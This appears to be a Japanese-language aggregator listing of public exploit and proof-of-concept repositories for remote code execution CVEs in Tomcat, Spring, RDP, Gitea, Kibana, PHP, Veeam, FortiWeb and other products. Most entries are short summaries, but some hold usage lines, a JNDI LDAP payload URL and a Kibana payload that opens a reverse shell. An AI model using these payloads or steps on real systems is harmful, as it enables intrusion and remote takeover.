CVE-2025-24813

説明 このリポジトリは、CVE-2025-24813 Tomcat 最新のRCE再現環境です。 学習研究目的のみに使用してください！ 利用条件 アプリケーションでDefaultServletの書き込み機能が有効になっていること（デフォルトでは無効） アプリケーションがpartial PUTリクエストをサポートしており、悪意のあるシリアライズデータをセッションファイルに書き込めること（デフォルトで有効） アプリケーションがTomcatのファイルセッション永続化を使用し、デフォルトのセッション保存場所を使用していること（追加設定が必要）...

spring-framework-rce

spring-framework-rce CVE-2022-22965 環境要件 1. tomcat8 8 使用方法 1. springframeworkrce-0.0.1-SNAPSHOT.zip をダウンロードして解凍後、名前を ROOT.war に変更します。 2. tomcat 内の webapps フォルダ配下の ROOT フォルダまたは ROOT.war を置き換えます。 3. tomcat 内の bin パスに移動し、.\catalina.bat run を実行します。 テスト方法 省略 結果...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708（BlueKeep）の初期エクスプロイト CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free RDPのtermdd.sysドライバは、内部専用チャネルMST120へのバインディングを適切に処理しないため、不正なDisconnect Provider...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea リポジトリマイグレーションにおけるリモートコマンド実行のエクスプロイト。 使い方 1. このリポジトリ内のファイルを使ってHTTPファイルシステムサーバーを実行します。 2. api/v1/repos/e99/exp/pulls/1/index.html L96 で実行するコマンドを編集します。 3. Giteaインスタンス上で、URL http:///e99/exp を使ってリモートリポジトリをマイグレーションします。 4. Pwnned! 参考 https://tttang.com/archive/1607/ 中国語 クレジット...

tech-seminar-React2Shell

React2Shell CVE-2025-55182 우리FISA 技術セミナー第6期 - 3チーム React Server ComponentRSCの設計欠陥を利用したリモートコード実行RCE脆弱性、React2Shellの分析及び研究 チーム...

CVE-2019-7609

CVE-2019-7609 kibana-7609 用の Docker ラボセットアップ 参照 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Kibana を開く 以下のペイロードのいずれかを Timelion ビジュアライザーに貼り付けます 実行をクリックします 左側のパネルで Canvas をクリックします リバースシェルが起動するはずです! : @securityMB によるペイロード .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework リモートコード実行の脆弱性（CVE-2022-22965） Spring-Core-RCE は、Apache Log4j2 の核弾頭レベルの脆弱性エクスプロイトに匹敵する RCE ワンクリック悪用ツールです。 概要 最近、Spring 公式 GitHub issue で Spring Core のリモートコード実行の脆弱性が言及されました。この脆弱性は Spring フレームワークおよび派生フレームワークに広く存在します。 脆弱性の説明 Spring Core は、Spring シリーズ製品において bean...

CVE-2023-46404

CVE-2023-46404 PCRS は、トロント大学で開発されたオンラインプログラミング演習のためのウェブアプリケーションです。 Bitbucket リポジトリ: https://bitbucket.org/utmandrew/pcrs/src/3.11/ 概要 PCRS のコード提出機能を持つ「Questions」ページと「Code editor」ページは、Python サンドボックスをエスケープすることによりリモートコード実行 RCE に対して脆弱です。 詳細 PCRS インスタンスでは、ジェネレータオブジェクトを使用してリモートコード実行が可能です。ジェネレータフレーム...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure MITM 研究 リリース日 ベンダーとの共同リリース日: 2020年10月26日 著者 David Kierznowski, @withdk クレジット 開示プロセス全体を通じて支援してくれた Pulse Secure PSIRT チームの Sahil Mahajan 氏。 記事「Red Teamer's Guide to Pulse Secure SSL VPN」を執筆した Alyssa Herrera、Justin Wagner、Mimir、Rich Warren 各氏 - Alyssa...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

wongpress

Ubuntu Server でバッファオーバーフローとフォーマット文字列の脆弱性を悪用してRCEを達成する実事例 関連するCVE CVE-2024-2961 : Glibcのiconv関数におけるバッファオーバーフローの脆弱性 CVE-2024-29510 : Ghostscript（PostScript言語インタープリタ）におけるフォーマット文字列の脆弱性 1. 問題の背景 近日公開 。 2. 攻撃シナリオ 近日公開 。 3. セットアップ プロジェクト構成 近日公開 。 4. エクスプロイト 近日公開 。 5. 参考文献 近日公開 。...

HG532d-RCE-Exploit

HG532d RCE エクスプロイト 概要 脆弱性CVE-2017-17215に基づくリモートコード実行（RCE）エクスプロイトです。exploit-db.comの元のPoCコードから改造し、Huawei HG532d ホームゲートウェイルーターで動作するようにしました。 説明 このRCEエクスプロイトはCVE-2017-17215に基づいており、Huawei HG532シリーズのホームルーターで動作するUPnPプロセスの脆弱性を悪用します。exploit-db.comの元のエクスプロイトはHG532ホームルーターを対象としています。 このエクスプロイトは、HTTP...

CVE-2023-24489-poc

CVE-2023-24489-poc bash を使用した CVE-2023-24489 の POC。 テストしたいターゲットを以下の形式で列挙した target.txt リストが必要です： https://example1.com https://example2.com https://example3.com ファイルは、bash スクリプトを実行するディレクトリと同じ場所に置く必要があります。 ご使用の際は十分に注意してください！ 参考： https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 重大なNGINX RCE CVSS 9.2 分類 カテゴリ: 0-Day / リモートコード実行 CVE: CVE-2026-42945 CVSS: 9.2 重大 発見日: 2026年5月12日 パッチ適用日: 2026年5月（F5四半期セキュリティリリース） ソース: GitHub DepthFirstDisclosures/Nginx-Rift 脆弱性の詳細 NGINX の ngxhttprewritemodule コンポーネントにおけるヒープバッファオーバーフロー で、2008年 に導入され、発見まで16年間 存在していました。...

CVE-2024-4577

CVE-2024-4577 @watchTowr によって開発された概念実証 PoC です。PHP CGI 引数注入の脆弱性 CVE-2024-4577 を悪用し、Windows 環境で実行されている脆弱な PHP バージョンに対して RCE を取得します。この脆弱性の詳細な技術分析 Orange Tsi 🍊 この脆弱性は、DEVCORE @d3vc0r3 の Orange Tsai @orange8361 によって発見されました。彼の優れた研究をぜひフォローしてください。私たちの役割は、この問題のエクスプロイトを再現し、開発することだけでした。 PoC || GTFO...

CVE-2024-40711

CVE-2024-40711 Veeam backup and Replication の事前認証デシリアライゼーション CVE-2024-40711 のエクスプロイト 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoCの動作 root@kitploit: CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigg...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257 用検出アーティファクト生成ツール 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 実行例 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost...

CVE-2024-27130

CVE-2024-27130 @watchTowr によって開発された概念実証 PoC で、脆弱な QNAP デバイス上のスタックオーバーフロー脆弱性を悪用して RCE を獲得します。 watchTowr Labs チームをフォローして、セキュリティ研究をご覧ください https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...

juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 CVE CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 を連鎖させ、Juniper JunOSのSRXおよびEXシリーズ製品でリモートコード実行を実現するための概念実証（PoC）を @watchTowr が開発しました。 セキュリティ研究については watchTowr Labs チームをフォローしてください https://labs.watchtowr.com/...